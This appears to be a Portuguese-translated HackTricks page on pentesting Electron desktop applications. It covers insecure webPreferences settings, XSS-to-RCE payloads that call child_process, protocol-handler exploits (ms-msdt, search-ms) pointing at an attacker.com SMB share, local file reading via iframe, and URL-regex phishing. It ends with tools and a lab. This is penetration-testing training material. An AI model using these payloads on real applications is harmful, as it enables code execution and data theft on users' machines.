hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps
2024-02-09 08:57:39 +00:00
..
electron-contextisolation-rce-via-electron-internal-code.md Translated ['network-services-pentesting/11211-memcache/README.md', 'net 2024-02-09 08:57:39 +00:00
electron-contextisolation-rce-via-ipc.md Translated ['network-services-pentesting/11211-memcache/README.md', 'net 2024-02-09 08:57:39 +00:00
electron-contextisolation-rce-via-preload-code.md Translated ['network-services-pentesting/11211-memcache/README.md', 'net 2024-02-09 08:57:39 +00:00
README.md Translated ['network-services-pentesting/11211-memcache/README.md', 'net 2024-02-09 08:57:39 +00:00

Aplicativos Desktop Electron

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Introdução

O Electron combina um backend local (com NodeJS) e um frontend (Chromium), embora falte alguns dos mecanismos de segurança dos navegadores modernos.

Normalmente, você pode encontrar o código do aplicativo Electron dentro de um aplicativo .asar, para obter o código, você precisa extraí-lo:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

No código-fonte de um aplicativo Electron, dentro de packet.json, você pode encontrar especificado o arquivo main.js onde as configurações de segurança são definidas.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron possui 2 tipos de processos:

  • Processo Principal (tem acesso completo ao NodeJS)
  • Processo de Renderização (deve ter acesso restrito ao NodeJS por motivos de segurança)

Um processo de renderização será uma janela do navegador carregando um arquivo:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

As configurações do processo de renderização podem ser configuradas no processo principal dentro do arquivo main.js. Algumas das configurações irão prevenir que a aplicação Electron seja alvo de RCE ou outras vulnerabilidades se as configurações estiverem corretamente configuradas.

A aplicação Electron pode acessar o dispositivo via APIs do Node, embora possa ser configurada para prevenir isso:

  • nodeIntegration - está desativado por padrão. Se ativado, permite acessar recursos do Node a partir do processo de renderização.
  • contextIsolation - está ativado por padrão. Se ativado, os processos principal e de renderização não estão isolados.
  • preload - vazio por padrão.
  • sandbox - está desativado por padrão. Irá restringir as ações que o NodeJS pode executar.
  • Integração do Node em Workers
  • nodeIntegrationInSubframes - está desativado por padrão.
  • Se a nodeIntegration estiver habilitada, isso permitiria o uso das APIs do Node.js em páginas da web que são carregadas em iframes dentro de uma aplicação Electron.
  • Se a nodeIntegration estiver desativada, então os preloads serão carregados no iframe

Exemplo de configuração:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

Alguns cargas RCE de aqui:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

Captura de tráfego

Modifique a configuração start-main e adicione o uso de um proxy como:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Injeção de Código Local no Electron

Se você puder executar localmente um aplicativo Electron, é possível que você consiga fazê-lo executar código JavaScript arbitrário. Verifique como em:

{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %} macos-electron-applications-injection.md {% endcontent-ref %}

RCE: XSS + nodeIntegration

Se o nodeIntegration estiver definido como on, o JavaScript de uma página da web pode usar facilmente recursos do Node.js apenas chamando o require(). Por exemplo, a maneira de executar o aplicativo de calculadora no Windows é:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

O script indicado nesta configuração é carregado antes de outros scripts no renderizador, então ele tem acesso ilimitado às APIs do Node:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Portanto, o script pode exportar recursos de nó para páginas:

{% code title="preload.js" %}

typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};

{% endcode %}

{% code title="index.html" %}

<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

{% endcode %}

{% hint style="info" %} Se contextIsolation estiver ativado, isso não funcionará {% endhint %}

RCE: XSS + contextIsolation

O contextIsolation introduz os contextos separados entre os scripts da página da web e o código interno JavaScript do Electron para que a execução do JavaScript de cada código não afete um ao outro. Esta é uma característica necessária para eliminar a possibilidade de RCE.

Se os contextos não estiverem isolados, um atacante pode:

  1. Executar JavaScript arbitrário no renderizador (XSS ou navegação para sites externos)
  2. Sobrescrever o método integrado que é usado no código de pré-carregamento ou no código interno do Electron para uma função própria
  3. Disparar o uso da função sobrescrita
  4. RCE?

Existem 2 lugares onde os métodos integrados podem ser sobrescritos: No código de pré-carregamento ou no código interno do Electron:

{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %} electron-contextisolation-rce-via-preload-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %} electron-contextisolation-rce-via-electron-internal-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-ipc.md" %} electron-contextisolation-rce-via-ipc.md {% endcontent-ref %}

Bypass do evento de clique

Se houver restrições aplicadas quando você clica em um link, você pode ser capaz de contorná-las fazendo um clique do meio em vez de um clique esquerdo regular

window.addEventListener('click', (e) => {

RCE via shell.openExternal

Para mais informações sobre esses exemplos, consulte https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 e https://benjamin-altpeter.de/shell-openexternal-dangers/

Ao implantar um aplicativo de desktop Electron, garantir as configurações corretas para nodeIntegration e contextIsolation é crucial. Está estabelecido que a execução de código remoto do lado do cliente (RCE) visando scripts de pré-carregamento ou código nativo do Electron a partir do processo principal é efetivamente impedida com essas configurações em vigor.

Quando um usuário interage com links ou abre novas janelas, ouvintes de eventos específicos são acionados, os quais são cruciais para a segurança e funcionalidade do aplicativo:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Esses ouvintes são substituídos pela aplicação desktop para implementar sua própria lógica de negócios. A aplicação avalia se um link navegado deve ser aberto internamente ou em um navegador web externo. Essa decisão é tipicamente feita por meio de uma função, openInternally. Se essa função retornar false, indica que o link deve ser aberto externamente, utilizando a função shell.openExternal.

Aqui está um pseudocódigo simplificado:

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

As melhores práticas de segurança do Electron JS desaconselham aceitar conteúdo não confiável com a função openExternal, pois isso poderia levar a RCE por meio de vários protocolos. Sistemas operacionais suportam diferentes protocolos que podem acionar RCE. Para exemplos detalhados e uma explicação mais aprofundada sobre esse tópico, pode-se consultar este recurso, que inclui exemplos de protocolos do Windows capazes de explorar essa vulnerabilidade.

Exemplos de exploits de protocolos do Windows incluem:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

Leitura de Arquivos Internos: XSS + contextIsolation

Desativar contextIsolation permite o uso de tags <webview>, semelhantes ao <iframe>, para ler e exfiltrar arquivos locais. Um exemplo fornecido demonstra como explorar essa vulnerabilidade para ler o conteúdo de arquivos internos:

Além disso, outro método para ler um arquivo interno é compartilhado, destacando uma vulnerabilidade crítica de leitura de arquivos locais em um aplicativo de desktop Electron. Isso envolve a injeção de um script para explorar o aplicativo e exfiltrar dados:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + Chromium Antigo

Se o chromium usado pela aplicação for antigo e houver vulnerabilidades conhecidas nele, pode ser possível explorá-lo e obter RCE através de um XSS.
Você pode ver um exemplo neste writeup: https://blog.electrovolt.io/posts/discord-rce/

Phishing de XSS via bypass de regex de URL interna

Supondo que você encontrou um XSS, mas não consegue acionar RCE ou roubar arquivos internos, você pode tentar usá-lo para roubar credenciais via phishing.

Primeiramente, você precisa saber o que acontece quando tenta abrir uma nova URL, verificando o código JS no front-end:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

A chamada para openInternally irá decidir se o link será aberto na janela do desktop como um link pertencente à plataforma, ou se será aberto no navegador como um recurso de terceiros.

No caso do regex usado pela função ser vulnerável a bypasses (por exemplo, por não escapar os pontos dos subdomínios), um atacante poderia abusar do XSS para abrir uma nova janela que estará localizada na infraestrutura do atacante solicitando credenciais ao usuário:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Ferramentas

  • Electronegativity é uma ferramenta para identificar configurações incorretas e padrões de segurança inadequados em aplicações baseadas em Electron.
  • Electrolint é um plugin de código aberto para o VS Code para aplicações Electron que utiliza o Electronegativity.
  • nodejsscan para verificar bibliotecas de terceiros vulneráveis.
  • Electro.ng: Você precisa comprá-lo.

Laboratórios

No https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s você pode encontrar um laboratório para explorar aplicativos Electron vulneráveis.

Alguns comandos que irão ajudá-lo com o laboratório:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: